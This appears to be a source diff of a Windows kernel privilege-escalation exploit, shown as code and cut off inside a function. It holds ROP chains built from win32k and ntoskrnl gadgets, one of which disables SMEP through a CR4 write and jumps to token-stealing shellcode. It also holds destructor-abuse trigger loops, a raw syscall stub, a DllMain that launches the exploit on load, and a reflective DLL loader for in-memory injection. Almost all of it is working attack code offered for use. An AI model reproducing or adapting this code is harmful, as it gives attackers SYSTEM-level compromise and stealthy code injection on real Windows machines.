*(ULONGLONG *)(PayloadBase + 0x5100) = PayloadBase + 0x5110; // double-dereference to get to gadget (actual ROP chain |
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5108) = PayloadBase + 0x5110; // (arbitrary pointer to pointer) continues here) |
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5110) = win32kBaseAddr + win32kRet; // (`RET` gadget) |
|
||||||
|
// |
|
||||||
|
// Resume execution. Restore original stack pointer. |
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kMovRaxR11Ret; // mov rax, r11 # ret (register holding a value close to original stack pointer) <-
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5058) = 0x8; // pop into rcx
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kAddRaxRcxRet; // add rax, rcx # ret (adjust the stack pointer)
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5068) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5070) = PayloadBase + 0x5088; // pop into rcx
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5078) = win32kBaseAddr + win32kWriteRaxIntoRcx; // mov [rcx], rax # ret (write gadget to [RCX])--
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5080) = win32kBaseAddr + win32kPopEspRet; // pop rsp # ret |
|
||||||
|
//*(ULONGLONG *)(PayloadBase + 0x5088) <----------------------------------------------------------------------------------------
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup the ROP chain 2, Disable SMEP and return to token stealing shellcode.
|
||||||
|
// Now we reset the values in our fake vTable (0x42005000), with a new
|
||||||
|
// ROP chain. This gets called later in the second trigger.
|
||||||
|
VOID ExploiterSetupSecondChain(ULONGLONG win32kBaseAddr, ULONGLONG ntBaseAddr) {
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kXchgRaxRspAdjust; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5028) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5030) = 0x406f8; // pop into rax, cr4 value
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5038) = ntBaseAddr + ntSetCr4; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget)
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5040) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5058) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kRet; // filler
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5068) = PayloadBase; // return to userland and win!
|
||||||
|
*(ULONGLONG *)(PayloadBase + 0x5070) = win32kBaseAddr + win32kCHwndDelete; // CHwndTargetProp::Delete(void)
|
||||||
|
}
|
||||||
|
|
||||||
|
// First trigger (ROP chain 1)
|
||||||
|
//
|
||||||
|
// When `DestroyDCompositionHwndTarget` is called, it will destroy the object
|
||||||
|
// by calling its destructor, which will make use of the overwritten vTable
|
||||||
|
// pointer. This, we abuse, to call ROP chain 1. ROP chain 1 leaks the address
|
||||||
|
// of `ntoskrnl!ExAllocatePoolWithTag`.
|
||||||
|
VOID ExploiterRunFirstChain() {
|
||||||
|
for (INT i = 0; i < 1000; i++) {
|
||||||
|
MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Second trigger (ROP chain 2)
|
||||||
|
//
|
||||||
|
// When `DestroyWindow` is called, it will attempt to find any dangling
|
||||||
|
// references to the window. Because the "first trigger" did not properly
|
||||||
|
// destroy the `DCompositionHwndTarget` object (which has a reference to
|
||||||
|
// the window), `DestroyWindow` will try, again, to call the destructor
|
||||||
|
// for the `DCompositionHwndTarget` object. Hence, the same destructor is
|
||||||
|
// called. But because we have already re-setup the vTable, it calls
|
||||||
|
// ROP chain 2.
|
||||||
|
VOID ExploiterRunSecondChain() {
|
||||||
|
for (INT i = 0; i < 1000; i++) {
|
||||||
|
DestroyWindow(pHwnds[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`.
|
||||||
|
ULONGLONG ExploiterGetNtBase() {
|
||||||
|
return *(ULONGLONG *)(PayloadBase + 0x100) - ntExAllocatePoolWithTag;
|
||||||
|
}
|
|
@ -0,0 +1,12 @@
|
||||||
|
#ifndef EXPLOITER_H
|
||||||
|
#define EXPLOITER_H
|
||||||
|
|
||||||
|
VOID ExploiterInit();
|
||||||
|
VOID ExploiterDoFengShui();
|
||||||
|
VOID ExploiterSetupFirstChain(ULONGLONG);
|
||||||
|
VOID ExploiterSetupSecondChain(ULONGLONG, ULONGLONG);
|
||||||
|
VOID ExploiterRunFirstChain();
|
||||||
|
VOID ExploiterRunSecondChain();
|
||||||
|
VOID ExpoiterCleanUp();
|
||||||
|
ULONGLONG ExploiterGetNtBase();
|
||||||
|
#endif
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,5 @@
|
||||||
|
#ifndef FONTDATA_H
|
||||||
|
#define FONTDATA_H
|
||||||
|
|
||||||
|
extern const UCHAR fontData[785196];
|
||||||
|
#endif
|
|
@ -0,0 +1,10 @@
|
||||||
|
.code
|
||||||
|
|
||||||
|
MyGetTextMetricsW PROC
|
||||||
|
mov r10, rcx
|
||||||
|
mov eax, 4214
|
||||||
|
syscall
|
||||||
|
ret
|
||||||
|
MyGetTextMetricsW ENDP
|
||||||
|
|
||||||
|
END
|
|
@ -0,0 +1,35 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// This is a stub for the actuall functionality of the DLL.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
|
|
||||||
|
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||||
|
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||||
|
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||||
|
|
||||||
|
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
|
||||||
|
extern HINSTANCE hAppInstance;
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
#include "Exploit.h"
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
switch( dwReason )
|
||||||
|
{
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if( lpReserved != NULL )
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
Exploit(lpReserved);
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
|
@ -0,0 +1,599 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||||
|
HINSTANCE hAppInstance = NULL;
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _ReturnAddress )
|
||||||
|
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||||
|
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||||
|
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||||
|
// available (and no inline asm available under x64).
|
||||||
|
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
|
||||||
|
#else /* ENABLE_OUTPUTDEBUGSTRING */
|
||||||
|
#define OUTPUTDBG(str) do{}while(0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||||
|
// otherwise the DllMain at the end of this file will be used.
|
||||||
|
|
||||||
|
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||||
|
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||||
|
|
||||||
|
// This is our position independent reflective DLL loader/injector
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||||
|
#else
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
// the functions we need
|
||||||
|
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||||
|
GETPROCADDRESS pGetProcAddress = NULL;
|
||||||
|
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||||
|
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
VIRTUALLOCK pVirtualLock = NULL;
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
OUTPUTDEBUG pOutputDebug = NULL;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
USHORT usCounter;
|
||||||
|
|
||||||
|
// the initial location of this image in memory
|
||||||
|
ULONG_PTR uiLibraryAddress;
|
||||||
|
// the kernels base address and later this images newly loaded base address
|
||||||
|
ULONG_PTR uiBaseAddress;
|
||||||
|
|
||||||
|
// variables for processing the kernels export table
|
||||||
|
ULONG_PTR uiAddressArray;
|
||||||
|
ULONG_PTR uiNameArray;
|
||||||
|
ULONG_PTR uiExportDir;
|
||||||
|
ULONG_PTR uiNameOrdinals;
|
||||||
|
DWORD dwHashValue;
|
||||||
|
|
||||||
|
// variables for loading this image
|
||||||
|
ULONG_PTR uiHeaderValue;
|
||||||
|
ULONG_PTR uiValueA;
|
||||||
|
ULONG_PTR uiValueB;
|
||||||
|
ULONG_PTR uiValueC;
|
||||||
|
ULONG_PTR uiValueD;
|
||||||
|
ULONG_PTR uiValueE;
|
||||||
|
|
||||||
|
// STEP 0: calculate our images current base address
|
||||||
|
|
||||||
|
// we will start searching backwards from our callers return address.
|
||||||
|
uiLibraryAddress = caller();
|
||||||
|
|
||||||
|
// loop through memory backwards searching for our images base address
|
||||||
|
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||||
|
while( TRUE )
|
||||||
|
{
|
||||||
|
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||||
|
{
|
||||||
|
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||||
|
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||||
|
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||||
|
{
|
||||||
|
uiHeaderValue += uiLibraryAddress;
|
||||||
|
// break if we have found a valid MZ/PE header
|
||||||
|
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
uiLibraryAddress--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||||
|
|
||||||
|
// get the Process Enviroment Block
|
||||||
|
#ifdef _WIN64
|
||||||
|
uiBaseAddress = __readgsqword( 0x60 );
|
||||||
|
#else
|
||||||
|
#ifdef WIN_ARM
|
||||||
|
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||||
|
#else _WIN32
|
||||||
|
uiBaseAddress = __readfsdword( 0x30 );
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||||
|
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||||
|
|
||||||
|
// get the first entry of the InMemoryOrder module list
|
||||||
|
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||||
|
while( uiValueA )
|
||||||
|
{
|
||||||
|
// get pointer to current modules name (unicode string)
|
||||||
|
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||||
|
// set bCounter to the length for the loop
|
||||||
|
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||||
|
// clear uiValueC which will store the hash of the module name
|
||||||
|
uiValueC = 0;
|
||||||
|
|
||||||
|
// compute the hash of the module name...
|
||||||
|
do
|
||||||
|
{
|
||||||
|
uiValueC = ror( (DWORD)uiValueC );
|
||||||
|
// normalize to uppercase if the module name is in lowercase
|
||||||
|
if( *((BYTE *)uiValueB) >= 'a' )
|
||||||
|
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||||
|
else
|
||||||
|
uiValueC += *((BYTE *)uiValueB);
|
||||||
|
uiValueB++;
|
||||||
|
} while( --usCounter );
|
||||||
|
|
||||||
|
// compare the hash with that of kernel32.dll
|
||||||
|
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
usCounter = 3;
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
usCounter++;
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
usCounter++;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while( usCounter > 0 )
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if( dwHashValue == LOADLIBRARYA_HASH
|
||||||
|
|| dwHashValue == GETPROCADDRESS_HASH
|
||||||
|
|| dwHashValue == VIRTUALALLOC_HASH
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
|| dwHashValue == VIRTUALLOCK_HASH
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
|| dwHashValue == OUTPUTDEBUG_HASH
|
||||||
|
#endif
|
||||||
|
)
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||||
|
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||||
|
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||||
|
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
else if( dwHashValue == VIRTUALLOCK_HASH )
|
||||||
|
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
else if( dwHashValue == OUTPUTDEBUG_HASH )
|
||||||
|
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
usCounter = 1;
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while( usCounter > 0 )
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||||
|
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// we stop searching when we have found everything we need.
|
||||||
|
if( pLoadLibraryA
|
||||||
|
&& pGetProcAddress
|
||||||
|
&& pVirtualAlloc
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
&& pVirtualLock
|
||||||
|
#endif
|
||||||
|
&& pNtFlushInstructionCache
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
&& pOutputDebug
|
||||||
|
#endif
|
||||||
|
)
|
||||||
|
break;
|
||||||
|
|
||||||
|
// get the next entry
|
||||||
|
uiValueA = DEREF( uiValueA );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 2: load our image into a new permanent location in memory...
|
||||||
|
|
||||||
|
// get the VA of the NT Header for the PE to be loaded
|
||||||
|
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||||
|
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||||
|
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
// prevent our image from being swapped to the pagefile
|
||||||
|
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// we must now copy over the headers
|
||||||
|
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||||
|
uiValueB = uiLibraryAddress;
|
||||||
|
uiValueC = uiBaseAddress;
|
||||||
|
|
||||||
|
while( uiValueA-- )
|
||||||
|
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||||
|
|
||||||
|
// STEP 3: load in all of our sections...
|
||||||
|
|
||||||
|
// uiValueA = the VA of the first section
|
||||||
|
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||||
|
|
||||||
|
// itterate through all sections, loading them into memory.
|
||||||
|
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||||
|
while( uiValueE-- )
|
||||||
|
{
|
||||||
|
// uiValueB is the VA for this section
|
||||||
|
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||||
|
|
||||||
|
// uiValueC if the VA for this sections data
|
||||||
|
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||||
|
|
||||||
|
// copy the section over
|
||||||
|
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||||
|
|
||||||
|
while( uiValueD-- )
|
||||||
|
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||||
|
|
||||||
|
// get the VA of the next section
|
||||||
|
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 4: process our images import table...
|
||||||
|
|
||||||
|
// uiValueB = the address of the import directory
|
||||||
|
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||||
|
|
||||||
|
// we assume there is an import table to process
|
||||||
|
// uiValueC is the first entry in the import table
|
||||||
|
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||||
|
|
||||||
|
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||||
|
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
|
||||||
|
{
|
||||||
|
OUTPUTDBG("Loading library: ");
|
||||||
|
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||||
|
OUTPUTDBG("\n");
|
||||||
|
|
||||||
|
// use LoadLibraryA to load the imported module into memory
|
||||||
|
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||||
|
|
||||||
|
if ( !uiLibraryAddress )
|
||||||
|
{
|
||||||
|
OUTPUTDBG("Loading library FAILED\n");
|
||||||
|
|
||||||
|
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// uiValueD = VA of the OriginalFirstThunk
|
||||||
|
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||||
|
|
||||||
|
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||||
|
|
||||||
|
// itterate through all imported functions, importing by ordinal if no name present
|
||||||
|
while( DEREF(uiValueA) )
|
||||||
|
{
|
||||||
|
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||||
|
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||||
|
{
|
||||||
|
// get the VA of the modules NT Header
|
||||||
